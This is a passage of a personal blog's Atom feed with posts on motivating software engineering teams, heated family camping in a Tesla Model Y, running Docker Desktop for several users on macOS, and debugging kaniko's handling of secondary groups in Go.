&lt;p&gt;A technique I have used successfully is to declare to each person my focus: it&#39;s them, and their long-term career. As a manager, the people you inspire are the legacy you will leave behind. This advice may seem antithetical to most business guidance, but if you genuinely care for your team, you will be in a better place to inspire them. After all, as humans, we are more important than the companies in which we serve.&lt;/p&gt;
&lt;p&gt;It is important to recognize that the average tenure at a tech company is three years, so your manager/report relationship will last on average only a year and a half, or about 5% of their career. As a manager trying to build a high-functioning team, you should focus on making the most of this overlap to set them up for the other 95% of their career. Letting your direct report know that you are on their side and in it for the long-haul will build the rapport necessary for candor.&lt;/p&gt;
&lt;h2&gt;Life stories make goals real &amp;amp; approachable&lt;/h2&gt;
&lt;p&gt;To build mutual respect, candor, and empathy, I like to take time in an early 1:1 to model it through sharing my life story, career journey, goals, and missteps. Next, it&#39;s your turn to listen intently to your report&#39;s own life story, noting that they may not be ready to share all of it. What you hear though, may surprise and shock you. Life isn&#39;t always sunshine and roses.&lt;/p&gt;
&lt;p&gt;For subsequent 1:1&#39;s, I ask for the report to record their goals, both within the company and outside of it. These goals will be kept at the top of our 1:1 notes to always stay fresh within our minds when we meet. Mine reads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Career: make large-scale computing trivial for the world
to use in a sustainable manner.

Non-career: Accelerate human knowledge. Be a great father
and spouse.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With time, you should achieve the empathy and respect necessary to understand each other&#39;s personal and professional motivation.&lt;/p&gt;
&lt;h2&gt;Purpose&lt;/h2&gt;
&lt;p&gt;Many define successful management as the ability to get the most out of the team. Now that you have learned about each individual&#39;s motivation, it is time to find the common thread that binds the team together. This shared context will help you build a plan to harmoniously fit everyone&#39;s local maximum (personal motivation) into the global maximum (personal+team+company motivation).&lt;/p&gt;
&lt;p&gt;To discover this thread, I recommend first sharing the mission and value statements of other teams, and then letting your team discover define their own statement of values. These values should be ideals or traits that your team cannot live without. Once defined, your team is ready to create a mission statement. A mission statement should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Align with the mission of the group above, if applicable&lt;/li&gt;
&lt;li&gt;Clarify who your team serves&lt;/li&gt;
&lt;li&gt;Be worded precisely enough to not apply to other teams&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Depending on the team size, expect that this may take three different 45-minute meetings to brainstorm and refine it. Your team may resist the idea of brainstorming a mission at first, but once they learn what everyone agrees is essential, they will appreciate the clarity.&lt;/p&gt;
&lt;p&gt;For suggestions on how to run a successful exploration of mission statement &amp;amp; values, I highly recommend reading &lt;em&gt;Tribal Leadership: Leveraging Natural Groups to Build a Thriving Organization&lt;/em&gt; by Logan, King, Fischer-Wright.&lt;/p&gt;
&lt;h2&gt;Craftsmanship&lt;/h2&gt;
&lt;p&gt;Software engineers at their heart are craftspeople. As with any other craft trade, software engineers intrinsically want to be proud of what they create. Craftsmanship is an important trait to cultivate as it paves the way for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;High morale&lt;/li&gt;
&lt;li&gt;Product excellence&lt;/li&gt;
&lt;li&gt;Prevention of technical debt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even when one is racing the revenue clock, deprioritizing craftsmanship is never the answer. If you push engineers toward deadline-driven development, you may very well be causing them to lower the code quality bar. If not addressed immediately, the decreased code quality generates a vicious circle of low morale, low velocity, high turnover, and an ever-increasing pile of technical debt.&lt;/p&gt;
&lt;p&gt;If you encourage your team to build artifacts (code, design docs) that they can be proud of throughout their career, you will no longer have to worry much about motivation.&lt;/p&gt;
&lt;p&gt;For more on craftsmanship in software, I recommend &lt;em&gt;Software Craftsman, The: Professionalism, Pragmatism, Pride&lt;/em&gt; by Sandro Mancuso.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Motivating Software Engineering Teams</title>
    <link href="https://choosehappy.dev/posts/2021/motivating-software-engineering-teams/"/>
    <updated>2021-03-09T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/motivating-software-engineering-teams/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/motivating-software-engineering-teams/dYE1fHaq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In my experience as a software engineer and a software engineering manager, I’ve found that the best way to motivate software engineers is with &lt;strong&gt;empathy, purpose, and a sense of craftsmanship&lt;/strong&gt;. Conversely, the most effective way to demotivate a software engineering team over the long term is with excessive process and deadlines.&lt;/p&gt;
&lt;p&gt;Let’s dive a little bit deeper into the levers I’ve found that work in motivating software engineers into doing their best work:&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;Empathy&lt;/h2&gt;
&lt;p&gt;The key to motivating a team is to identify what motivates the people that make up the team, with enough empathy to put yourself in their shoes.&lt;/p&gt;
&lt;p&gt;Everyone wants to be happy, but everyone has their unique path to happiness. Learning the career and life goals of everyone on the team allows you to prime the right tasks for them at the right time.&lt;/p&gt;
&lt;p&gt;Asking people directly, &amp;quot;What motivates you as a software engineer?&amp;quot; will often unlock the right set of hints for how to frame messages in a way that works for them. However, to get an honest and complete answer, one needs to build rapport.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Building rapport&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Building rapport with the team is critical to establishing the psychological safety required for folks to feel comfortable sharing their real thoughts. My advice is to model and build a real personal connection that supersedes the synthetic relationship of the manager to the direct report.&lt;/p&gt;
&lt;p&gt;My strategy for building connection is: demonstrating care, showing vulnerability, and deep listening. Proving that you care is something that you cannot fake. If you cannot care deeply for each person on your team, you will fail to motivate your team in the long term.&lt;/p&gt;
&lt;p&gt;A technique I have used successfully is to declare to each person my focus: it&#39;s them, and their long-term career. As a manager, the people you inspire are the legacy you will leave behind. This advice may seem antithetical to most business guidance, but if you genuinely care for your team, you will be in a better place to inspire them. After all, as humans, we are more important than the companies in which we serve.&lt;/p&gt;
&lt;p&gt;It is important to recognize that the average tenure at a tech company is three years, so your manager/report relationship will last on average only a year and a half, or about 5% of their career. As a manager trying to build a high-functioning team, you should focus on making the most of this overlap to set them up for the other 95% of their career. Letting your direct report know that you are on their side and in it for the long-haul will build the rapport necessary for candor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Life stories make honest goals approachable&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To build mutual respect, candor, and empathy, I like to take time in an early 1:1 to model it through sharing my life story, career journey, goals, and missteps. Next, it&#39;s your turn to listen intently to your report&#39;s own life story, noting that they may not be ready to share all of it. What you hear though, may surprise and shock you. Life isn&#39;t always sunshine and roses.&lt;/p&gt;
&lt;p&gt;For subsequent 1:1&#39;s, I ask for the report to record their goals, both within the company and outside of it. These goals will be kept at the top of our 1:1 notes to always stay fresh within our minds when we meet. Mine reads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Career: make large-scale computing trivial for the world
to use in a sustainable manner.

Non-career: Accelerate human knowledge. Be a great father
and spouse.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With time, you should achieve the empathy and respect necessary to understand each other&#39;s personal and professional motivation.&lt;/p&gt;
&lt;h2&gt;Purpose&lt;/h2&gt;
&lt;p&gt;Many define successful management as the ability to get the most out of the team. Now that you have learned about each individual&#39;s motivation, it is time to find the common thread that binds the team together. This shared context will help you build a plan to harmoniously fit everyone&#39;s local maximum (personal motivation) into the global maximum (personal+team+company motivation).&lt;/p&gt;
&lt;p&gt;To discover this thread, I recommend first sharing the mission and value statements of other teams, and then letting your team discover define their own statement of values. These values should be ideals or traits that your team cannot live without. Once defined, your team is ready to create a mission statement. A mission statement should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Align with the mission of the group above, if applicable&lt;/li&gt;
&lt;li&gt;Clarify who your team serves&lt;/li&gt;
&lt;li&gt;Be worded precisely enough to not apply to other teams&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Depending on the team size, expect that this may take three different 45-minute meetings to brainstorm and refine it. Your team may resist the idea of brainstorming a mission at first, but once they learn what everyone agrees is essential, they will appreciate the clarity.&lt;/p&gt;
&lt;p&gt;For suggestions on how to run a successful exploration of mission statement &amp;amp; values, I highly recommend reading &lt;em&gt;Tribal Leadership: Leveraging Natural Groups to Build a Thriving Organization&lt;/em&gt; by Logan, King, Fischer-Wright.&lt;/p&gt;
&lt;h2&gt;Craftsmanship&lt;/h2&gt;
&lt;p&gt;Software engineers at their heart are craftspeople. As with any other craft trade, software engineers intrinsically want to be proud of what they create. Craftsmanship is an important trait to cultivate as it paves the way for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;High morale&lt;/li&gt;
&lt;li&gt;Product excellence&lt;/li&gt;
&lt;li&gt;Prevention of technical debt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even when one is racing the revenue clock, deprioritizing craftsmanship is never the answer. If you push engineers toward deadline-driven development, you may very well be causing them to lower the code quality bar. If not addressed immediately, the decreased code quality generates a vicious circle of low morale, low velocity, high turnover, and an ever-increasing pile of technical debt.&lt;/p&gt;
&lt;p&gt;If you encourage your team to build artifacts (code, design docs) that they can be proud of throughout their career, you will no longer have to worry much about motivation.&lt;/p&gt;
&lt;p&gt;For more on craftsmanship in software, I recommend &lt;em&gt;Software Craftsman, The: Professionalism, Pragmatism, Pride&lt;/em&gt; by Sandro Mancuso.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Tesla Model Y: below-zero family camping</title>
    <link href="https://choosehappy.dev/posts/2021/y-below-zero/"/>
    <updated>2021-03-08T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/y-below-zero/</id>
    <content xml:lang="en" type="html">&lt;p&gt;TL;DR: If you think outside of the box, you can sleep 4 with full climate control for a cost of 10-12% battery usage per night, even in freezing temperatures.&lt;/p&gt;
&lt;p&gt;When we bought our Tesla Model Y in December, the intent was to roughly recreate the experiences of our trusty 1971 VW Bus, but in electric form.&lt;/p&gt;
&lt;p&gt;With all the cargo space, and the availability of great mattress options, such as the Tesmat, one can get pretty close to a passenger-van conversion. What one cannot simulate easily however, is the 4-person sleeping experience one can get from a  pop-up tent. The Tesla Model Y can only comfortably fit 2 adults, or 1 adult &amp;amp; two children.&lt;/p&gt;
&lt;p&gt;The best option I&#39;ve found for sleeping 4 is the &lt;a href=&quot;https://www.napieroutdoors.com/shop/suv-minivan-tents/sportz-suv-tent-model-82000/&quot;&gt;Napier SUV Sportz Tent&lt;/a&gt; This gargantuan tent attaches easily to the back of a Tesla Model Y, but it is a bit heavy and bulky to pack up. The biggest plus side to this option is that you can still run the Camp Mode on the Tesla Model Y to heat the tent: which is something we tested this weekend.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/qpg6gekla17hhzskhr3u.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using Camp Mode to climate control the Napier tent is a party trick that is mostly only useful in extreme temperatures. In my experience, Camp Mode on the Tesla Model Y consumes ~10% battery life when set to 67&#39;F with a 40&#39;F exterior temperature, and the trunk closed.&lt;/p&gt;
&lt;p&gt;My primary concern was power consumption due to the lack of insulation: tents are typically nowhere near as insulated as a Tesla. How much power would we waste by adding the tent?&lt;/p&gt;
&lt;p&gt;To counter the insulation issue, I ordered 3mm 48&amp;quot;x50Ft, and a single roll of foil tape, to build a ~5&#39;x5&#39;x5&#39; cube within the Napier SUV Tent, lovingly called the &amp;quot;space station&amp;quot;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/58zugggwfacby4g8gfbq.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The foil tape ran out quite quickly, so I finished it up with some painters tape.&lt;/p&gt;
&lt;p&gt;On the first night of testing, we arrived at 10pm with 68% battery, raining cats &amp;amp; dogs, and a chilly 35&#39;F. I was too busy trying to setup without getting soaked that I didn&#39;t bother sealing the gaps too much.&lt;/p&gt;
&lt;p&gt;I set the Tesla to Camp Mode @ 67&#39;F, and used a screwdriver to flip the trunk latch to trick the car into thinking the trunk was shut. I had heard that otherwise, the climate control  would shut off after 30 minutes. Our battery went from 67% to 47%: a 20% drop over 10 hours, which had me a bit worried for the second night.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/tkg9brxdv9id0uqr7bdc.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By this point, we had acquired 2 extra rolls of foil tape (still not enough), and used some duct-tape to seal the gaps between the car and the space station. I was more conservative this time, setting the car to 60&#39;F, setting the vent manually to 1. After 7 hours, we consumed only 5% battery, so I increased the heat to 66&#39;F for the next 4 hours, which consumed another 5%. Not bad when the exterior temperature was 30&#39;F!&lt;/p&gt;
&lt;p&gt;One recommendation is a stuff sack, as packing the inner tent can consume a lot of space in the car otherwise (a little bit bigger than the packed size of the Napier SUV tent). Here&#39;s a photo of the inner tent  before I rolled it up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/3gekpj3wb8ylwhof2r2g.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When we left the campsite, we were at 33% battery, which was just enough to get us to the supercharger in Ukiah. My backup plan was a slow charger just up the road in Lakeport, which I still tried for fun.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/qowm3ocxsj7n0sotoqev.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This experiment means that the insulated Napier tent is effectively as efficient insulation wise as the Tesla itself: at worst, 10-20% more power consumption over the regular Camp Mode with the trunk shut. Depending on your target temperature, plan on 10-12% battery consumption per night (11 hours) with Camp Mode in the Tesla Model Y.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/y-below-zero/0uf6zs2brsoui1ouavz8.jpg&quot; alt=&quot;Alt Text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This result means that the Tesla Y can sleep 4 people in freezing temperatures for multiple nights in a row without a source of electricity. I still have a few gaps to fill with foil tape, and need to bring painters tape on the next trip to quickly seal it against the car.&lt;/p&gt;
&lt;p&gt;Hope this post helps someone!&lt;/p&gt;
</content>
  </entry><entry>
    <title>Persistent multi-user Docker on macOS</title>
    <link href="https://choosehappy.dev/posts/2021/persistent-multi-user-docker-on-macos/"/>
    <updated>2021-02-01T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/persistent-multi-user-docker-on-macos/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/persistent-multi-user-docker-on-macos/o4QoLGWZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ever wanted to run Docker on an unmanned macOS machine, where all users could have access to a working Docker command-line?&lt;/p&gt;
&lt;p&gt;First, be aware that &lt;code&gt;docker&lt;/code&gt; is not designed to be securely shared among multiple users. As with Linux, Please assume that anyone who has access to &lt;code&gt;docker&lt;/code&gt; is effectively equivalent to `root&#39;.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;This assumes that users will be interacting with &lt;code&gt;docker&lt;/code&gt; via the command-line, rather than graphically. It also assumes that the environment is such that allows a single user to be automatically logged into via the GUI, but this is mostly out of laziness rather than an underlying technical restriction.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Choose an account that Docker Desktop will run as. I recommend creating a &lt;code&gt;docker&lt;/code&gt; user, but it could be any account. This account does not need admin access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open &lt;code&gt;Settings -&amp;gt; Users &amp;amp; Groups -&amp;gt; Login Options&lt;/code&gt;, and ensure that this user is automatically logged into.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Created a shared containers directory:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir -p /Users/Shared/Library/Containers
sudo chown docker:staff /Users/Shared/Library/Containers
sudo chmod -R 770 /Users/Shared/Library/Containers/
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;
&lt;p&gt;Login graphically with the account that will run Docker and start &lt;code&gt;/Applications/Docker.app&lt;/code&gt;, answer any questions it might have.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open &lt;code&gt;Settings -&amp;gt; Users &amp;amp; Groups -&amp;gt; Login Items&lt;/code&gt;, and drag the &lt;code&gt;Docker&lt;/code&gt; app to it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Quit &lt;code&gt;Docker Desktop&lt;/code&gt; via the menu item&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open &lt;code&gt;Terminal&lt;/code&gt; and move your Docker data to a shared location that can be written to by other users:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;mv ~/Library/Containers/com.docker.docker /Users/Shared/Library/Containers

chmod -R 770 /Users/Shared/Library/Containers/com.docker.docker

chmod -R +a &amp;quot;group:staff allow list,add_file,search,add_subdirectory,delete_child,readattr,writeattr,readextattr,writeextattr,readsecurity,file_inherit,directory_inherit&amp;quot; /Users/Shared/Library/Containers/com.docker.docker

chmod -R g+rw /Users/Shared/Library/Containers/com.docker.docker/Data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then link your local Docker data to this shared source, and make sure that others can traverse into this folder to resolve the socket symlink:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ln -s /Users/Shared/Library/Containers/com.docker.docker ~/Library/Containers/com.docker.docker

chmod g+x ~/Library ~/Library/Containers
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;
&lt;p&gt;Restart &lt;code&gt;/Applications/Docker.app&lt;/code&gt; to test&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SSH into the host as another username, and run &lt;code&gt;docker run mariadb&lt;/code&gt; to test.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reboot host and reconnect via ssh to test (it may take a moment for Docker to start up)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is the configuration we use for the #kernelcafe. Please add your improvements to the comments!&lt;/p&gt;
</content>
  </entry><entry>
    <title>Go &amp; secondary groups: a kaniko adventure!</title>
    <link href="https://choosehappy.dev/posts/2020/go-and-secondary-groups-a-kaniko-adventure/"/>
    <updated>2020-04-10T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2020/go-and-secondary-groups-a-kaniko-adventure/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2020/go-and-secondary-groups-a-kaniko-adventure/jEcOae4C.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I wanted to get my feet wet with understanding &lt;a href=&quot;https://github.com/GoogleContainerTools/kaniko&quot;&gt;Kaniko&lt;/a&gt;, an open-source in-cluster builder for Docker images. I happen to work with one of the maintainers, Tejal, and I asked her if there was any interesting UNIX-internals sort of bugs that might be interesting.&lt;/p&gt;
&lt;p&gt;Here&#39;s the &lt;a href=&quot;https://github.com/GoogleContainerTools/kaniko/issues/1097&quot;&gt;mystery issue&lt;/a&gt;: &amp;quot;The USER command does not set the correct gids, so extra groups are dropped&amp;quot;. Here&#39;s an example to reproduce it:&lt;/p&gt;
&lt;!--more--&gt;
&lt;pre&gt;&lt;code&gt;FROM ubuntu:latest
RUN groupadd -g 20000 bar
RUN groupadd -g 10000 foo
RUN useradd -c &amp;quot;Foo user&amp;quot; -u 10000 -g 10000 -G bar -m foo
RUN id foo
USER foo
RUN id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In an ideal world, both &amp;quot;id&amp;quot; commands should give the same output, but the second one did not include &lt;code&gt;foo&lt;/code&gt;&#39;s membership in &lt;code&gt;bar&lt;/code&gt;. This definitely sounded
like a secondary group issue. I happened to know that secondary groups were bolted onto the UNIX implementation some 10 years later than primary groups (SVR4, by way of BSD).&lt;/p&gt;
&lt;h2&gt;How to reproduce&lt;/h2&gt;
&lt;p&gt;First, get a shell into the Kaniko debug image, mounting in the out/ and integration/ subdirectory:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;docker run -it --entrypoint /busybox/sh -v &amp;quot;$HOME&amp;quot;/.config/gcloud:/root/.config/gcloud -v (pwd)/integration:/workspace -v (pwd)/out:/out gcr.io/kaniko-project/executor:debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I placed their Dockerfile into &lt;code&gt;kaniko/integration/1097&lt;/code&gt;, which was mounted as &lt;code&gt;/workspace&lt;/code&gt;. I could then trivially reproduce their case using kaniko:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;/kaniko/executor -f 1097 --context=dir://workspace --destination=gcr.io/kaniko/test --tarPath=/tmp/image.tar --no-push
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Finding the culprit&lt;/h2&gt;
&lt;p&gt;The first question was: how does Kaniko implement user switching? Are they switching in such a way that populates secondary groups? I ask because the standard syscalls (&lt;code&gt;seteuid&lt;/code&gt;, &lt;code&gt;setegid&lt;/code&gt;) do not implement secondary groups: one has to instead call &lt;a href=&quot;https://linux.die.net/man/2/setgroups&quot;&gt;&lt;code&gt;setgroups&lt;/code&gt;&lt;/a&gt;. Here&#39;s what I found:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;cmd.SysProcAttr.Credential = &amp;amp;syscall.Credential{Uid: uid, Gid: gid}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;[SysProcAttr](https://golang.org/pkg/syscall/#SysProcAttr)&lt;/code&gt; is not exactly a well-known feature in Go, but it&#39;s perfect for setting exec attributes such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Chroot&lt;/code&gt; - lock the process into a directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pdeathsig&lt;/code&gt; -  Signal that the process will get when its parent dies (Linux only)&lt;/li&gt;
&lt;li&gt;... and many options for user namespacing: handy for container tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, I figured it would be easy enough to improve the function in such a way that performs secondary group impersonation. The trick to you, dear reader, is to find the flaw!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func impersonate(userStr string) (*syscall.Credential, error) {
   ...
   groups := []uint32{}
   gidStr, err := u.GroupIds()
   logrus.Infof(&amp;quot;groupstr: %s&amp;quot;, gidStr)

   for _, g := range gidStr {
       i, err := strconv.ParseUint(g, 10, 32)
       if err != nil {
           return nil, errors.Wrap(err, &amp;quot;parseuint&amp;quot;)
       }
       groups = append(groups, uint32(i))
   }

   return &amp;amp;syscall.Credential{
       Uid:    uid,
       Gid:    gid,
       Groups: groups,
   }, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running &lt;code&gt;make&lt;/code&gt;, I hop back into the container to run the repro case, and I&#39;m perplexed by the log message:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;INFO[0013] u.GroupIds returned: []&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Is kaniko running in some alternate chroot universe where it can&#39;t see? I double check by adding a shell command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;out, err = exec.Command(&amp;quot;grep&amp;quot;, &amp;quot;foo&amp;quot;, &amp;quot;/etc/group&amp;quot;).Output()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The answer is no. At this point, there are only two options in my mind. Either this is a Go bug, or, if Go is using libc to make this call (likely),
it&#39;s a libc bug, or at least a disagreement between the two systems. As soon as you have made the decision to blame the compiler, it&#39;s time to gather evidence, typically by making a simpler test case. I opt first to investigate if Go is using libc to look up the list of secondary groups, starting with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://golang.org/src/os/user/listgroups_unix.go&quot;&gt;os/user/listgroups_unix.go&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A couple of nested functions later, and you can see that it&#39;s calling:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;static int mygetgrouplist(const char* user, gid_t group, gid_t* groups, int* ngroups) {
  return getgrouplist(user, group, groups, ngroups);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is almost the same implementation you see in busybox&#39;s &lt;code&gt;id&lt;/code&gt; command &lt;a href=&quot;https://github.com/brgl/busybox/blob/master/coreutils/id.c&quot;&gt;source&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;static int get_groups(const char *username, gid_t rgid, gid_t *groups, int *n)
{
  int m;
   if (username) {
   	 m = getgrouplist(username, rgid, groups, n);
   	 return m;
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, it&#39;s possible that Go is setting &lt;code&gt;ngroups&lt;/code&gt; to 0, so we just build a little test case program:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func main() {
    u, err := user.Lookup(os.Args[1])
    if err != nil {
   	 panic(fmt.Sprintf(&amp;quot;lookup failed: %v&amp;quot;, err))
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The test program runs great on macOS, but when I use &lt;a href=&quot;https://github.com/karalabe/xgo&quot;&gt;xgo&lt;/a&gt; to cross-compile it for Linux, all it outputs is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rwxr-xr-x    1 0        0          2125099 Mar 28 20:26 ggroups-linux-amd64

# ./ggroups-linux-amd64
/busybox/sh: ./ggroups-linux-amd64: not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you ever see this error in UNIX, it usually means one of three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The program specifies an invalid &lt;code&gt;#!&lt;/code&gt; line&lt;/li&gt;
&lt;li&gt;The binary needs a shared library that does not exist&lt;/li&gt;
&lt;li&gt;The binary is for the wrong architecture&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this case, I suspected #2, because I see that busybox is in use, chances are pretty high that this Docker image lacks libc. This environment
does not have &lt;code&gt;ldd&lt;/code&gt;, but it has &lt;code&gt;strings&lt;/code&gt;, so I can get some hints about the binary that was built:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings /out/ggroups-linux-amd64  | head
bhkFaBAPgWy3KAp2RQcd/llKGprZSMM7cCxIzwmJ9/0QgnPM9q9pk--9IIyIXn/X9bTurj9MBmKtnVL-ANT
/lib64/ld-linux-x86-64.so.2
ATUSH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It looks like the right architecture, but yeah, that library doesn&#39;t exist. Just to confirm my sanity, I confirmed this program works great in an ubuntu container. I immediately suspect that either kaniko&#39;s user environment is trash, or kaniko is up to shenanigans in their &lt;code&gt;Makefile&lt;/code&gt;. The easier is easier to check, and it doesn&#39;t take long to notice:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-make&quot;&gt;out/executor: $(GO_FILES)
	GOARCH=$(GOARCH) GOOS=linux CGO_ENABLED=0 go build -ldflags 
       $(GO_LDFLAGS) -o $@ $(EXECUTOR_PACKAGE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;God damnit. kaniko works because they disable &lt;code&gt;cgo&lt;/code&gt; to workaround the lack of a libc environment. Look back at &lt;a href=&quot;https://golang.org/src/os/user/listgroups_unix.go&quot;&gt;listgroups_unix.go&lt;/a&gt; - it uses C code, and the build rule specifically states only to build with cgo. If we look at the fallback implementation, we see:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func listGroups(*User) ([]string, error) {
    if runtime.GOOS == &amp;quot;android&amp;quot; || runtime.GOOS == &amp;quot;aix&amp;quot; {
        return nil, fmt.Errorf(&amp;quot;user: GroupIds not implemented on %s&amp;quot;, runtime.GOOS)
    }
    return nil, errors.New(&amp;quot;user: GroupIds requires cgo&amp;quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But wait - we didn&#39;t see an error in our impersonate function! I try to compile it without cgo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;env CGO_ENABLED=0 go run ggroups.go root
panic: groupids failed: user: GroupIds requires cgo

goroutine 1 [running]:
main.main()
    /Users/tstromberg/src/ggroups/ggroups.go:18 +0x117
exit status 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The mystery deepens&lt;/h2&gt;
&lt;p&gt;If you see an error in one environment, and not the other, chances are either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A compiler error&lt;/li&gt;
&lt;li&gt;A kernel error&lt;/li&gt;
&lt;li&gt;You forgot to check the error code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s almost always the last option. Sure enough:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;   gidStr, err := u.GroupIds()
   logrus.Infof(&amp;quot;groupstr: %s&amp;quot;, gidStr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As soon as I noticed this, I walked away from my computer for an hour. I suggest you do the same.&lt;/p&gt;
</content>
  </entry>
</feed>